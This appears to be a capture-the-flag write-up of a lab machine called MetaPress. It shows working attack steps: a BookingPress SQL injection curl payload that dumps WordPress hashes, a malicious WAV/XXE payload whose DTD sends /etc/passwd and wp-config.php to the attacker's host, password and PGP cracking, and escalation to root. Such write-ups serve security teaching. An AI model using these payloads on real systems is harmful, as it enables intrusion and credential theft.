Machine Info Card

Enumeration

Nmap

We start by running an nmap scan on the most common 1000 ports using the flag -sV to perform a service/version scan, and the -sC flag to perform a script scan using the default set of scripts:

$ nmap -sV -sC 10.129.228.95
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-23 10:59 EST
Stats: 0:01:47 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 11:02 (0:00:54 remaining)
Nmap scan report for 10.129.228.95
Host is up (0.046s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp?
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
|   256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_  256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 229.52 seconds

Port 21

$ ftp -p 10.129.228.95
Connected to 10.129.228.95.
220 ProFTPD Server (Debian) [::ffff:10.129.228.95]
Name (10.129.228.95:kali): anonymous
331 Password required for anonymous
Password: 
530 Login incorrect.
ftp: Login failed

Credentials are needed to login.

Port 80

We add metapress.htb to /etc/hosts to resolve the vhost address:

$ echo -e "10.129.228.95\tmetapress.htb" |  sudo tee -a /etc/hosts
10.129.228.95  metapress.htb
$ whatweb http://metapress.htb
http://metapress.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.129.228.95], MetaGenerator[WordPress 5.6.2], PHP[8.0.24], PoweredBy[--], Script, Title[MetaPress – Official company site], UncommonHeaders[link], WordPress[5.6.2], X-Powered-By[PHP/8.0.24], nginx[1.18.0]

Here is a list of Wordpress 5.6.2 vulnerabilities.

At http://metapress.htb/events/, we find booking service plugin. From the source code of this page we gather its name and version, BookingPress version 1.0.10.

Vulnerable Plugin

This version of BookingPress is vulnerable to an unauthenticated SQL Injection.

All we need to do now, is follow the the steps of the Proof of Concept provided.

nonce Exfiltration

view-source:http://metapress.htb/events/:

<SNIP>
var postData = { action:'bookingpress_front_get_category_services',category_id: selected_cat_id,total_service: total_services,_wpnonce:'0d442aa771' };
<SNIP>

Here is our nonce: _wpnonce:'0d442aa771'.

SQLi

As a reference, here is the Wordpress database schema:

Wordpress Database Schema

$ curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0d442aa771&category_id=33&total_service=-7502) UNION ALL SELECT user_login,user_pass,3,4,5,6,7,8,9 from wp_users-- -'
<SNIP>                                                       
X-Frame-Options: SAMEORIGIN                                                                             
Referrer-Policy: strict-origin-when-cross-origin

[{"bookingpress_service_id":"admin","bookingpress_category_id":"$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.","bookingpress_service_name":"3","bookingpress_service_price":"$4.00","bookingpress_service_duration_val":"5","bookingpress_service_duration_unit":"6","bookingpress_service_description":"7","bookingpress_service_position":"8","bookingpress_servicedate_created":"9","service_price_without_currency":4,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"},{"bookingpress_service_id":"manager","bookingpress_category_id":"$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70","bookingpress_service_name":"3","bookingpress_service_price":"$4.00","bookingpress_service_duration_val":"5","bookingpress_service_duration_unit":"6","bookingpress_service_description":"7","bookingpress_service_position":"8","bookingpress_servicedate_created":"9","service_price_without_currency":4,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]

We save the the admin password hash to the adminhash file and we identify it with hashid:

$ hashid adminhash
--File 'adminhash'--
Analyzing '$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
--End of file 'adminhash'--

We do the same thing for the user manager:

$ hashid managerhash 
Analyzing '$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70'
[+] Wordpress ≥ v2.6.2 
[+] Joomla ≥ v2.5.18 
[+] PHPass' Portable Hash 

Password Cracking

We now attempt to crack the hashes with hashcat using Hash mode 400 (PHPass):

$ hashcat -a 0 -m 400 adminhash /usr/share/wordlists/rockyou.txt                       
hashcat (v6.2.6) starting
<SNIP>
Status...........: Exhausted
<SNIP>

We get nowhere with the admin password hash, but we manage to crack the manager one:

$ hashcat -a 0 -m 400 adminhash /usr/share/wordlists/rockyou.txt                       
hashcat (v6.2.6) starting
<SNIP>
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar 
<SNIP>

Wordpress XXE vulnerability

As we have seen before, there are more than one vulnerability for the Wordpress version we are attacking, the one we are interested in is the one affecting PHP 8 (Authenticated XXE Within the Media Library Affecting PHP 8), which is the PHP version in use in the target machine.

Logging in with the manager account gives us access to the Media Library thus giving us the possibility to exploit the vulnerability.

To exploit the vulnerability we can follow this useful blog post.

Crafting the Payload

First we start our web server:

$ php -S 10.10.14.90:1234
[Sat Nov 26 09:12:48 2022] PHP 8.1.12 Development Server (http://10.10.14.90:1234) started

then we create a malicious WAVE file containing the payload, and a dtd file needed to exfiltrate data from the remote host:

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.90:1234/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
$ cat evil.dtd       
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.90:1234/?p%file;'>">

Uploading the paylod.wav file into the Wordpress Media Library will trigger the parsing of evil.dtd on the target machine, which in this case, will send us back the content of /etc/passwd encoded in base64 on our web server:

$ php -S 10.10.14.90:1234
[Sat Nov 26 09:12:48 2022] PHP 8.1.12 Development Server (http://10.10.14.90:1234) started
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45722 Accepted
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45722 [200]: GET /evil.dtd
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45722 Closing
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45734 Accepted
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45734 [404]: GET /?pcm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9
<SNIP>
mluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= - No such file or directory

Once we decode the base64 string, we can read the content of /etc/passwd:

$ echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9
<SNIP>
mluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=' | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

Grabbing wp-config

Using the same procedure as above, we take a look at the wp-config.php file, which contains Wordpress configuration details:

$ cat evil.dtd   
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.90:1234/?p%file;'>">
[Sat Nov 26 09:56:57 2022] 10.129.254.130:54034 Accepted
[Sat Nov 26 09:56:57 2022] 10.129.254.130:54034 [404]: GET /?pPD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwg
<SNIP>
Cn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg== - No such file or directory
$ echo 'PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwg
<SNIP>
Cn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==' | base64 -d
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

<SNIP>

We have found FTP credentials: metapress.htb:9NYS_ii@FyL_p5M2NvJ.

FTP Login

With the newly found credentials, we manage to login to the FTP server:

$ ftp 10.129.254.130  
Connected to 10.129.254.130.
220 ProFTPD Server (Debian) [::ffff:10.129.254.130]
Name (10.129.254.130:kali): metapress.htb 
331 Password required for metapress.htb
Password: 9NYS_ii@FyL_p5M2NvJ

230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Looking around we find jnelson SSH credentials in the send_mail.php file:

ftp> more mailer/send_mail.php
<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
<SNIP>

Getting a Shell

Now, we can login as jnelson:

$ ssh jnelson@10.129.254.130
jnelson@10.129.254.130's password: Cb4_JmWM8zUZWMu@Ys
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$ 

User Flag

We find the user flag in jnelson’s home directory:

jnelson@meta2:~$ ls
user.txt
jnelson@meta2:~$ cat user.txt
5ff**************************2c2

Privilege Escalation

Taking a look around, we find the configuration folder of the Passpie password manager. Inside .passpie/ssh/root.pass we find the root ssh password but it’s encrypted:

jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 .
drwxr-xr-x 3 root    root    4096 Oct  5 15:12 ..
lrwxrwxrwx 1 root    root       9 Jun 26 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson  220 Jun 26 15:46 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 15:46 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
-rw-r--r-- 1 jnelson jnelson  807 Jun 26 15:46 .profile
-rw-r----- 1 jnelson jnelson   33 Nov 26 13:32 user.txt
jnelson@meta2:~$ ls .passpie/ssh/
jnelson.pass  root.pass
jnelson@meta2:~$ cat .passpie/ssh/root.pass 
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----


  hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2

<SNIP>

  =uh1B

  -----END PGP MESSAGE-----

  '

Inside .passpie/keys we can find the GnuPG keys used to encrypt/decrypt the credentials from the Passpie database:

jnelson@meta2:~$ cat .passpie/.keys
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD  
<SNIP>
GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
<SNIP>
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----

Obtaining the Passpie Passphrase

Now, it’s time to crack the Passpie passphrase.

We first save the private key:

$ echo '-----BEGIN PGP PRIVATE KEY BLOCK-----

lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
<SNIP>
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----' > key

then we generate the hash from the private key using gpg2john and after that we attempt to crack the hash with john using the rockyou wordlist:

$ gpg2john key > hash

File key

$ sudo john -w:/usr/share/wordlists/rockyou.txt hash
[sudo] password for kali: 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182         (Passpie)     
1g 0:00:00:01 DONE (2022-11-26 10:50) 0.9090g/s 149.0p/s 149.0c/s 149.0C/s ginger..blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtaining root Password

Now that we obtained the Passpie passphrase blink182, we can use it to export the credentials in plain text:

jnelson@meta2:~/.passpie$ passpie --help
Usage: passpie [OPTIONS] COMMAND [ARGS]...

Options:
  -D, --database TEXT  Database path or url to remote repository
  --autopull TEXT      Autopull changes from remote pository
  --autopush TEXT      Autopush changes to remote pository
  --config PATH        Path to configuration file
  -v, --verbose        Activate verbose output
  --version            Show the version and exit.
  --help               Show this message and exit.

Commands:
  add       Add new credential to database
  complete  Generate completion scripts for shells
  config    Show current configuration for shell
  copy      Copy credential password to clipboard/stdout
  export    Export credentials in plain text
  import    Import credentials from path
  init      Initialize new passpie database
  list      Print credential as a table
  log       Shows passpie database changes history
  purge     Remove all credentials from database
  remove    Remove credential
  reset     Renew passpie database and re-encrypt...
  search    Search credentials by regular expressions
  status    Diagnose database for improvements
  update    Update credential

jnelson@meta2:~/.passpie$ passpie list
╒════════╤═════════╤════════════╤═══════════╕
│ Name   │ Login   │ Password   │ Comment   │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh    │ jnelson │ ********   │           │
├────────┼─────────┼────────────┼───────────┤
│ ssh    │ root    │ ********   │           │
╘════════╧═════════╧════════════╧═══════════╛

jnelson@meta2:~$ passpie export passlist
Passphrase: blink182
jnelson@meta2:~$ cat passlist
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

Now, to get a root shell, we can simply switch to user root using the password p7qfAZt4_A1xo_0x:

jnelson@meta2:~$ su
Password:  p7qfAZt4_A1xo_0x
root@meta2:/home/jnelson# id
uid=0(root) gid=0(root) groups=0(root)

Root Flag

We can find the root flag in the root directory:

root@meta2:/home/jnelson# cd
root@meta2:~# ls
restore  root.txt
root@meta2:~# cat root.txt 
7f2**************************0e6